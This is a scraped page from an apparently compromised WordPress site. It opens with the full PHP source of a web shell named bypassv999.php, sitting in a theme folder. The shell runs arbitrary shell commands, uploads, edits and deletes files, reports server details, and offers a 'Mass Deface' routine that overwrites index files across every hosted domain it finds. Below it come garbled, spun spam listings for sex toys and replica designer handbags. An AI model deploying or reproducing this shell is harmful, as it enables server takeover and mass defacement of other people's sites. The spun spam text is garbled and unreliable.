Mini Shell

Direktori : /home/admin/web/mcpv.demarco.ddnsfree.com/public_html/wp-content/themes/ai-news/
Upload File :
Current File : /home/admin/web/mcpv.demarco.ddnsfree.com/public_html/wp-content/themes/ai-news/bypassv999.php

<?php  
// Include Teko font from Google Fonts and Font Awesome
echo '<link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Teko:wght@400;500;600;700&display=swap">';
echo '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">';

// Apply Teko font to the entire page
echo '<style>
    body {
        font-family: "Teko", sans-serif;
    }
    h3, th, td {
        font-family: "Teko", sans-serif;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        font-family: "Teko", sans-serif;
    }
</style>';

// ASCII Art
echo '<div style="text-align: center; font-family: monospace; white-space: pre;">';  
echo "░█████╗░░█████╗░████████╗███████╗██████╗░░██████╗░█████╗░░█████╗░███╗░░░███╗  ░█████╗░░█████╗░██████╗░██████╗░░░░\n";  
echo "██╔══██╗██╔══██╗╚══██╔══╝██╔════╝██╔══██╗██╔════╝██╔══██╗██╔══██╗████╗░████║  ██╔══██╗██╔══██╗██╔══██╗██╔══██╗░░░\n";  
echo "██║░░╚═╝███████║░░░██║░░░█████╗░░██████╔╝╚█████╗░██║░░╚═╝███████║██╔████╔██║  ██║░░╚═╝██║░░██║██████╔╝██████╔╝░░░\n";  
echo "██║░░██╗██╔══██║░░░██║░░░██╔══╝░░██╔══██╗░╚═══██╗██║░░██╗██╔══██║██║╚██╔╝██║  ██║░░██╗██║░░██║██╔══██╗██╔═══╝░░░░\n";  
echo "╚█████╔╝██║░░██║░░░██║░░░███████╗██║░░██║██████╔╝╚█████╔╝██║░░██║██║░╚═╝░██║  ╚█████╔╝╚█████╔╝██║░░██║██║░░░░░██╗\n";  
echo "░╚════╝░╚═╝░░╚═╝░░░╚═╝░░░╚══════╝╚═╝░░╚═╝╚═════╝░░╚════╝░╚═╝░░╚═╝╚═╝░░░░░╚═╝  ░╚════╝░░╚════╝░╚═╝░░╚═╝╚═╝░░░░░╚═╝\n";  
echo '</div>';  

// Display system information  
echo "<h3>Server Info:</h3>";  
echo "Uname: " . php_uname() . "<br>";  
echo "Software: " . $_SERVER['SERVER_SOFTWARE'] . "<br>";  
echo "PHP Version: " . phpversion() . "<br>";  
echo "Server IP: " . $_SERVER['SERVER_ADDR'] . "<br>";  
echo "Hacker IP: " . $_SERVER['REMOTE_ADDR'] . "<br>";  
echo "HDD: " . disk_free_space("/") . " bytes free of " . disk_total_space("/") . " bytes total<br>";  
echo "User: " . get_current_user() . "<br>";  
echo "Group: " . posix_getgrgid(posix_getegid())['name'] . "<br>";  
echo "Home Shell: " . getcwd() . "<br><br>";   

// Mass Deface Button
echo '<div style="text-align: center; margin: 20px 0;">
        <button id="massDefaceButton">Mass Deface</button>
        <div id="massDefaceForm" style="display: none; margin-top: 10px;">
            <form method="POST">
                <label>Enter directory path (e.g., /var/www/):</label><br>
                <input type="text" name="mass_deface_path" style="width: 100%;" required><br><br>
                <label>Save to (filename.ext):</label><br>
                <input type="text" name="deface_filename" style="width: 100%;" placeholder="index.html" required><br><br>
                <label>Deface content (HTML or other):</label><br>
                <textarea name="deface_content" style="width: 100%; height: 200px;" required></textarea><br>
                <input type="submit" name="mass_deface_submit" value="Execute Deface" style="margin-top: 10px;">
            </form>
        </div>
      </div>';

echo "<script>
document.getElementById('massDefaceButton').addEventListener('click', function() {
    var form = document.getElementById('massDefaceForm');
    form.style.display = (form.style.display === 'none' || form.style.display === '') ? 'block' : 'none';
});
</script>";

// Handle Mass Deface Submission
if (isset($_POST['mass_deface_submit'])) {
    $defacePath = realpath($_POST['mass_deface_path']);
    $defaceContent = $_POST['deface_content'];
    $defaceFilename = $_POST['deface_filename'];

    // Check if directory is valid and readable
    if (is_dir($defacePath) && is_readable($defacePath)) {
        $domains = []; // Store the affected domains
        $entries = scandir($defacePath);

        foreach ($entries as $entry) {
            $entryPath = $defacePath . '/' . $entry;

            // Only target directories that look like domain names
            if (is_dir($entryPath) && preg_match('/\.[a-z]{2,}$/i', $entry)) {
                $targetFile = $entryPath . '/' . $defaceFilename; // Custom file name
                
                // Ensure the file is writable or can be created
                if (!file_exists($targetFile) || is_writable($targetFile)) {
                    file_put_contents($targetFile, $defaceContent);
                    $domains[] = $entry . '/' . $defaceFilename; // Add domain to affected list
                }
            }
        }

        // Display success message with affected domains
        if (!empty($domains)) {
            echo "<h3>Mass Deface Successful. Affected Sites:</h3><ul>";
            foreach ($domains as $domain) {
                echo "<li>$domain</li>";
            }
            echo "</ul>";
        } else {
            echo "<h3>No domain directories found or no writable files to deface.</h3>";
        }
    } else {
        echo "<h3>Invalid directory or permission denied.</h3>";
    }
}

// Helper function to get file permissions in symbolic format  
function getPermissions($file) {  
    $perms = fileperms($file);  
    $symbolic = '';  

    // File type  
    if (($perms & 0xC000) == 0xC000) {  
        $symbolic = 's'; // Socket  
    } elseif (($perms & 0xA000) == 0xA000) {  
        $symbolic = 'l'; // Symbolic Link  
    } elseif (($perms & 0x8000) == 0x8000) {  
        $symbolic = '-'; // Regular file  
    } elseif (($perms & 0x6000) == 0x6000) {  
        $symbolic = 'b'; // Block special  
    } elseif (($perms & 0x4000) == 0x4000) {  
        $symbolic = 'd'; // Directory  
    } elseif (($perms & 0x2000) == 0x2000) {  
        $symbolic = 'c'; // Character special  
    } elseif (($perms & 0x1000) == 0x1000) {  
        $symbolic = 'p'; // FIFO pipe  
    } else {  
        $symbolic = 'u'; // Unknown  
    }  

    // Owner permissions  
    $symbolic .= (($perms & 0x0100) ? 'r' : '-');  
    $symbolic .= (($perms & 0x0080) ? 'w' : '-');  
    $symbolic .= (($perms & 0x0040) ?  
        (($perms & 0x0800) ? 's' : 'x') :  
        (($perms & 0x0800) ? 'S' : '-'));  

    // Group permissions  
    $symbolic .= (($perms & 0x0020) ? 'r' : '-');  
    $symbolic .= (($perms & 0x0010) ? 'w' : '-');  
    $symbolic .= (($perms & 0x0008) ?  
        (($perms & 0x0400) ? 's' : 'x') :  
        (($perms & 0x0400) ? 'S' : '-'));  

    // Other permissions  
    $symbolic .= (($perms & 0x0004) ? 'r' : '-');  
    $symbolic .= (($perms & 0x0002) ? 'w' : '-');  
    $symbolic .= (($perms & 0x0001) ?  
        (($perms & 0x0200) ? 't' : 'x') :  
        (($perms & 0x0200) ? 'T' : '-'));  

    return $symbolic; // Return without numeric representation  
}  

// Get current directory path  
$current_dir = getcwd();  

// If navigating to a directory  
if (isset($_GET['path'])) {  
    $path = realpath($_GET['path']);  
    if ($path && is_dir($path)) {  
        if (is_readable($path)) { // Check if directory is readable
            chdir($path);  
            $current_dir = $path;  
        } else {
            echo "<h3>Access Denied</h3>";
        }
    }  
}  

// Handle deletion of selected files or directories  
if (isset($_GET['delete_item'])) {  
    $item_path = realpath(urldecode($_GET['delete_item']));  
    if (is_file($item_path)) {  
        unlink($item_path);  
        echo "<script>alert('File deleted successfully.');</script>";  
    } elseif (is_dir($item_path)) {  
        rmdir($item_path);  
        echo "<script>alert('Directory deleted successfully.');</script>";  
    }  
    echo "<script>window.location.href = window.location.pathname;</script>";  
}  

// Handle renaming of files or directories  
if (isset($_GET['rename_item']) && isset($_GET['new_name'])) {  
    $current_name = realpath(urldecode($_GET['rename_item']));  
    $new_name = dirname($current_name) . '/' . urldecode($_GET['new_name']);  
    rename($current_name, $new_name);  
    echo "<script>alert('Item renamed successfully.');</script>";
    // Redirect to refresh the file list
    echo "<script>window.location.href = window.location.pathname;</script>";
}  

// File Editing
if (isset($_POST['edit_file']) && isset($_POST['file_content'])) {
    $file = realpath(urldecode($_POST['edit_file']));
    $content = $_POST['file_content'];
    
    // Ensure the file exists and is writable
    if (is_file($file) && is_writable($file)) {
        if (file_put_contents($file, $content) !== false) {
            echo "<script>
                    alert('File \"" . htmlspecialchars(basename($file)) . "\" edited successfully.');
                    window.location.href = window.location.pathname;
                  </script>";
        } else {
            echo "<script>
                    alert('Failed to edit file \"" . htmlspecialchars(basename($file)) . "\".');
                  </script>";
        }
    } else {
        echo "<script>
                alert('File does not exist or is not writable.');
              </script>";
    }
    exit();
}

// Handle file editing display
if (isset($_GET['edit_item'])) {
    $edit_item = realpath(urldecode($_GET['edit_item']));
    if (is_file($edit_item) && is_readable($edit_item)) {
        $file_content = file_get_contents($edit_item);
        echo "<h3>Editing: " . htmlspecialchars(basename($edit_item)) . "</h3>";
        echo "<form method='POST' action='?'>
                <textarea name='file_content' style='width: 100%; height: 400px;'>". htmlspecialchars($file_content) ."</textarea><br>
                <input type='hidden' name='edit_file' value='" . urlencode($edit_item) . "'>
                <input type='submit' value='Save'>
              </form>";
        exit();
    } else {
        echo "<h3>File not found or not readable.</h3>";
    }
}



// Upload Form    
echo "<form enctype='multipart/form-data' method='POST' id='fileForm'>
        <div style='margin-bottom: 10px;'>
            <input type='file' name='upload' id='fileInput'>
            <input type='submit' value='Upload' id='uploadButton'>
        </div>
        <div>
            <input type='text' name='cmd' placeholder='Cmd Shell' style='width: 100%;'>
        </div>
      </form>";

// File Upload Handler
if (isset($_FILES['upload'])) {
    $target_path = basename($_FILES['upload']['name']);
    if (move_uploaded_file($_FILES['upload']['tmp_name'], $target_path)) {
        echo "<script>alert('File " . basename($_FILES['upload']['name']) . " uploaded successfully.');</script>";
        echo "<script>window.location.href = window.location.pathname;</script>";
    } else {
        echo "<script>alert('Upload failed.');</script>";
    }
}

// Terminal Command Handler
if (isset($_POST['cmd']) && !empty($_POST['cmd'])) {
    $cmd = escapeshellcmd($_POST['cmd']);
    $output = shell_exec($cmd);
    echo "<h3>Command Output:</h3><pre>$output</pre>";
}

// JavaScript for handling form submission
echo "<script>
document.getElementById('fileForm').addEventListener('submit', function(event) {
    var fileInput = document.getElementById('fileInput');
    var cmdInput = document.querySelector('input[name=\"cmd\"]');
    
    // Check if file input is empty and cmd input is not empty
    if (fileInput.files.length === 0 && cmdInput.value.trim() === '') {
        event.preventDefault();
        alert('Please choose a file to upload.');
    }
});

document.querySelector('input[name=\"cmd\"]').addEventListener('keypress', function(event) {
    // Only handle the enter key to submit the command
    if (event.key === 'Enter') {
        event.preventDefault();
        var cmd = this.value.trim();
        if (cmd) {
            // Create a form to submit the command
            var form = document.createElement('form');
            form.method = 'POST';
            form.style.display = 'none';
            var input = document.createElement('input');
            input.type = 'hidden';
            input.name = 'cmd';
            input.value = cmd;
            form.appendChild(input);
            document.body.appendChild(form);
            form.submit();
        }
    }
});
</script>";

// File Explorer Layout  
echo "<h3>File Explorer:</h3>";  

// Display the path breadcrumb
$path_parts = explode('/', trim($current_dir, '/'));
$breadcrumb = '';
for ($i = 0; $i < count($path_parts); $i++) {
    $current_part = implode('/', array_slice($path_parts, 0, $i + 1));
    $breadcrumb .= "<a href='?path=" . urlencode('/' . $current_part) . "'>" . htmlspecialchars($path_parts[$i]) . "</a> / ";
}
echo rtrim($breadcrumb, ' / ');

// File explorer table
echo "<table border='1' cellpadding='5' style='width: 100%;'>";  
echo "<tr style='text-align: center;'>";  
echo "<th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th>";  
echo "</tr>";  

// Add ".." for parent directory link  
if ($current_dir != '/') {  
    echo "<tr>";  
    echo "<td style='text-align: left;'> <i class='fas fa-folder'></i> <a href='?path=" . urlencode(dirname($current_dir)) . "'>..</a></td>"; // Parent directory link  
    echo "<td style='text-align: center;'>dir</td>";  
    echo "<td style='text-align: center;'>-</td>";  
    echo "<td style='text-align: center;'>-</td>";  
    echo "<td style='text-align: center;'>-</td>";  
    echo "<td style='text-align: center;'></td>";  
    echo "</tr>";  
}  

// Separate directories and files  
$dirs = [];  
$files = [];  

$entries = scandir($current_dir);  
foreach ($entries as $entry) {  
    if ($entry !== "." && $entry !== "..") {  
        $path = $current_dir . '/' . $entry;  
        if (is_dir($path)) {  
            $dirs[] = $entry;  
        } else {  
            $files[] = $entry;  
        }  
    }  
}  

// Sort directories and files  
sort($dirs);  
sort($files);  

// Display directories  
foreach ($dirs as $dir) {  
    $file_path = $current_dir . '/' . $dir;  
    $file_size = 'dir';  
    $file_modify = date("Y-m-d H:i:s", filemtime($file_path));  
    $file_owner = posix_getpwuid(fileowner($file_path))['name'] . '/' . posix_getgrgid(filegroup($file_path))['name'];  
    $file_permissions = getPermissions($file_path);  
    echo "<tr>";  
    echo "<td style='text-align: left;'><i class='fas fa-folder'></i> <a href='?path=" . urlencode($file_path) . "'>$dir</a></td>";  
    echo "<td style='text-align: center;'>$file_size</td>";  
    echo "<td style='text-align: center;'>$file_modify</td>";  
    echo "<td style='text-align: center;'>$file_owner</td>";  
    echo "<td style='text-align: center;'>$file_permissions</td>";  
    echo "<td style='text-align: center;'>";  
    echo "<a href='#' onclick='confirmDelete(\"" . urlencode($file_path) . "\")'>[Delete]</a> ";  
    echo "<a href='#' onclick='confirmRename(\"" . urlencode($file_path) . "\")'>[Rename]</a>";  
    echo "</td>";  
    echo "</tr>";  
}  

// Display files  
foreach ($files as $file) {  
    $file_path = $current_dir . '/' . $file;  
    $file_size = filesize($file_path) . ' B';  
    $file_modify = date("Y-m-d H:i:s", filemtime($file_path));  
    $file_owner = posix_getpwuid(fileowner($file_path))['name'] . '/' . posix_getgrgid(filegroup($file_path))['name'];  
    $file_permissions = getPermissions($file_path);  
    echo "<tr>";  
    echo "<td style='text-align: left;'><i class='fas fa-file'></i> <a href='?path=" . urlencode($file_path) . "'>$file</a></td>";  
    echo "<td style='text-align: center;'>$file_size</td>";  
    echo "<td style='text-align: center;'>$file_modify</td>";  
    echo "<td style='text-align: center;'>$file_owner</td>";  
    echo "<td style='text-align: center;'>$file_permissions</td>";  
    echo "<td style='text-align: center;'>";  
    echo "<a href='?edit_item=" . urlencode($file_path) . "'> [Edit]</a> ";  
    echo "<a href='?delete_item=" . urlencode($file_path) . "' onclick='return confirm(\"Are you sure?\")'>[Delete]</a> ";  
    echo "<a href='#' onclick='confirmRename(\"" . urlencode($file_path) . "\")'>[Rename]</a>";  
    echo "</td>";  
    echo "</tr>";  
}  

echo "</table>";  

// JavaScript functions for delete and rename confirmation
echo "<script>
function confirmDelete(path) {
    if (confirm('Are you sure you want to delete this item?')) {
        window.location.href = '?delete_item=' + path;
    }
}

function confirmRename(path) {
    var newName = prompt('Enter new name for the item:');
    if (newName) {
        window.location.href = '?rename_item=' + path + '&new_name=' + encodeURIComponent(newName);
    }
}
</script>";

echo '<div style="text-align: center; margin-top: 20px; padding: 10px; background-color: #f1f1f1; border-top: 1px solid #ddd;">';
echo '<a href="https://t.me/caterscam" style="color: blue; text-decoration: none;">© 2024 Caterscam Corp</a>';
echo '</div>';

?>
May 15, 2021 – Base de données MCPV "Prestataires"

Day: May 15, 2021

Its rotating head offers focused G-spot therapeutic massage

28 Best Sex Toys On Amazon Of 2024 Offer You A Stronger, Better Orgasm With 2-day Shipping Read product descriptions male chastity belt, check out actual customer critiques, and if you’re nonetheless confused, simply ask us. Sonia from help staff has heard it all and he or she is not going to judge. During the…

Read More

6-inch laptop computer inside

Best Replica Handbags Outlet Usa, Pretend Designer Bags Shops These luggage are normally produced from low cost materials and poor craftsmanship. They often characteristic designs and logos that are recognizably flawed (‘Lewis Vuitton’ anyone?). Choose respected sellers, and examine buyer reviews/recommendations to search out high-quality replicas. We Professional Replicas Bags and Shoes Online Shop only…

Read More

Florida-based small business Uberrime is understood for their

38 Finest Intercourse Toys For Couples In 2025 Deliver Fresh Vibes We are 100 percent Proudly Australian Owned and we aim to deliver our high quality grownup merchandise that can make your toes curl. Go forward and indulge your wild secrets dildos, fantasies in our adult store. We have warehouses in Brisbane, Sydney sex toys,…

Read More

Testers found it connected properly with the Kiiroo Titan in

26 Greatest Sex Toys For Couples To Spice Up The Bedroom 2024 A present that will make anyone with a vulva very pleased Hawk Werwolf Realistic Silcone Large Dildo – E, this standalone G-spot vibrator is extremely interactive regardless of its streamlined design. Testers found it connected properly with the Kiiroo Titan in that each…

Read More

We are here to make your sex life higher and complete with

9 Best Sex Toys For Women Truly Tested The added magnetic clip (pictured above) further ensured it stayed attached to underwear all through every day actions. Overall, it was discreet and dependable, without the fear of slippage. In addition, the silicone-ABS plastic materials, plus the indented buttons, leave a seam that may make cleansing more…

Read More

“Its medium size makes it a fantastic choice for novice and

15 Finest Intercourse Toys Of 2024 When used together, you may have the ability to achieve a blended orgasm (clitoral and G-spot orgasms together). Thanks to the distinctive design, I can benefit from the toy without worrying about holding it in the proper position for minutes on finish, as you might with a standard bullet…

Read More

She started her publish graduate life at Hearst UK inside a

Buy Sex Toys On-line Next Day Delivery From Sex Toys Uk The buttons are additionally straightforward to entry on the entrance of the toy. On the other hand, if you are on the lookout for an intense sex toy that targets both the clitoris and G-spot, I highly advocate the Womanizer Duo 2. It makes…

Read More

Babeland also has a great sale section

15 Greatest Luxurious Intercourse Toys Of 2024, From Vibes To Sex Machines Beginners to vibrators can go for the easy-to-use, wallet-friendly Maude Vibe or Dame Fin (both faves of mine). “The hottest toy supplies for sex toys that are used vaginally or anally like vibrators, anal toys, dildos (and so on) are stainless steel, glass…

Read More

The next, you have to cease and readjust as a end result of

Intercourse Toys, Grownup Toys The Tunnel Penis Plug, Grownup Shop With a various staff working behind the scenes, we’ve built a trusted platform that delivers partaking Perforated Plastic Cock Cage, informative content material to hundreds of thousands of readers wanting to discover and enhance their intimate lives. An unsung hero within the bed room, the…

Read More

Open and sincere communication is the cornerstone of any

Lovense® Grownup Toy Store Specials: Unique Deals And Provides Await! Columbia University recommends cleaning sex toys before and after every use, then setting them aside for 24 hours before using them again , to ensure that any micro organism or viruses on them are lifeless. In our critiques group survey of 600 intercourse toy users,…

Read More